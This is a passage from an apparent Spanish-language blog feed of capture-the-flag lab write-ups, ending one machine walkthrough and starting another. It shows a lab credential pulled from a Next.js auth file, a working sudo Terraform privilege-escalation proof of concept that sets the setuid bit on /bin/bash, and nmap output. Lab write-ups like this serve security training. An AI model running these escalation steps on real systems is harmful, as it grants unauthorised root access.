&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namedRegex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs/components/layout(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;page&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/docs/components/sidebar&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;regex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs/components/sidebar(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;routeKeys&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namedRegex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs/components/sidebar(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;page&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/docs/content/examples&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;regex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs/content/examples(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;routeKeys&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namedRegex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs/content/examples(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;page&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/docs/content/getting-started&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;regex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs/content/getting\-started(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;routeKeys&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namedRegex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs/content/getting\-started(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;page&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/signin&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;regex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/signin(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;routeKeys&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namedRegex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/signin(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;]&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;dataRoutes&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;[]&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;rsc&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;header&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;RSC&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;varyHeader&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;prefetchHeader&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Next-Router-Prefetch&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;didPostponeHeader&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;x-nextjs-postponed&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;contentTypeHeader&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;text/x-component&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;suffix&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;.rsc&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;prefetchSuffix&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;.prefetch.rsc&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;prefetchSegmentHeader&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Next-Router-Segment-Prefetch&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;prefetchSegmentSuffix&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;.segment.rsc&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;prefetchSegmentDirSuffix&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;.segments&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;rewriteHeaders&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;pathHeader&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;x-nextjs-rewritten-path&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;queryHeader&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;x-nextjs-rewritten-query&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;rewrites&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;[]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="credenciales--ssh"&gt;Credenciales → SSH&lt;/h3&gt;
&lt;p&gt;Se consultó &lt;code&gt;/app/.next/server/pages/api/auth/[...nextauth]&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-802a-9879-f53f018da85f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;De ahí salieron credenciales:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;jeremy:MyNameIsJeremyAndILovePancakes&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Con esas credenciales se obtuvo acceso por SSH.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-806d-9b0b-ec773559b1ea.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="escalada-de-privilegios-terraform-con-sudo"&gt;Escalada de privilegios (Terraform con sudo)&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://dollarboysushil.com/posts/Terraform-Sudo-Exploit-Privilege-Escalation/"&gt;Privilege Escalation PoC: Terraform sudo Exploit&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Restricción parcial de sudo&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;El usuario &lt;code&gt;jeremy&lt;/code&gt; no tiene acceso total a &lt;code&gt;sudo&lt;/code&gt;. Sólo puede ejecutar &lt;code&gt;terraform&lt;/code&gt; con super privilegios.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Comportamiento de Terraform&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Terraform puede cargar proveedores/plugins.&lt;/li&gt;
&lt;li&gt;Con &lt;code&gt;TF_CLI_CONFIG_FILE&lt;/code&gt; se puede apuntar a una configuración de CLI que defina &lt;code&gt;dev_overrides&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Idea del abuso&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Si Terraform, ejecutándose como root vía &lt;code&gt;sudo&lt;/code&gt;, carga un proveedor desde una ruta controlada por el usuario, ese binario se ejecuta con privilegios elevados.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;PoC&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;jeremy@previous:/opt/examples$ &lt;span style="color:#75715e"&gt;# 1) Crea el &amp;#34;proveedor&amp;#34; con el nombre que Terraform está buscando&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat &amp;gt; /tmp/terraform-provider-examples &lt;span style="color:#e6db74"&gt;&amp;lt;&amp;lt;&amp;#39;EOF&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;chmod u+s /bin/bash &amp;gt;/tmp/pwn-log 2&amp;gt;&amp;amp;1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;chmod +x /tmp/terraform-provider-examples
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 2) Asegúrate del TF_CLI_CONFIG_FILE correcto &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat &amp;gt; /tmp/dev.tfrc &lt;span style="color:#e6db74"&gt;&amp;lt;&amp;lt;&amp;#39;EOF&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;provider_installation {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; dev_overrides {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; &amp;#34;previous.htb/terraform/examples&amp;#34; = &amp;#34;/tmp&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; direct {}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;export TF_CLI_CONFIG_FILE&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/tmp/dev.tfrc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo /usr/bin/terraform -chdir&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/opt/examples apply
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ls -la /bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/a13c59dd-a373-4077-b3b8-ab5545f08259.png" alt="Imagen del post"&gt;&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Support (Easy)</title><link>https://synacklabs.github.io/posts/support/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/support/</guid><description>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Write-up de la máquina &lt;strong&gt;Support (Easy)&lt;/strong&gt;. Incluye enumeración, extracción de credenciales, acceso como usuario y escalada mediante &lt;strong&gt;RBCD&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8013-b9cf-e4e76515e53d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="enumeración"&gt;Enumeración&lt;/h2&gt;
&lt;h3 id="escaneo-de-puertos"&gt;Escaneo de puertos&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt;/tcp open domain syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Simple DNS Plus
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;88&lt;/span&gt;/tcp open kerberos-sec syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Kerberos (server time&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;26&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;39&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;41Z)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;135&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;139&lt;/span&gt;/tcp open netbios-ssn syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows netbios-ssn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;389&lt;/span&gt;/tcp open ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP (Domain&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; support.htb0., Site&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Default-First-Site-Name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;445&lt;/span&gt;/tcp open microsoft-ds? syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;464&lt;/span&gt;/tcp open kpasswd5? syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;593&lt;/span&gt;/tcp open ncacn_http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC over HTTP &lt;span style="color:#ae81ff"&gt;1.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;636&lt;/span&gt;/tcp open tcpwrapped syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;3268&lt;/span&gt;/tcp open ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP (Domain&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; support.htb0., Site&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Default-First-Site-Name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;3269&lt;/span&gt;/tcp open tcpwrapped syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;5985&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft HTTPAPI httpd &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt; (SSDP/UPnP)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Microsoft-HTTPAPI/&lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Not Found
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;9389&lt;/span&gt;/tcp open mc-nmf syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; .NET Message Framing
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49664&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49667&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49680&lt;/span&gt;/tcp open ncacn_http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC over HTTP &lt;span style="color:#ae81ff"&gt;1.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49692&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49697&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49714&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Host&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; DC; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Windows; CPE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; cpe&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/o:microsoft&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;windows
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host script results&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| p2p-conficker&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Checking &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; Conficker.C or higher...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;19155&lt;/span&gt;/tcp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;37046&lt;/span&gt;/tcp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;25972&lt;/span&gt;/udp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;12574&lt;/span&gt;/udp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; checks are positive&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Host is CLEAN or ports are blocked
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-security-mode:
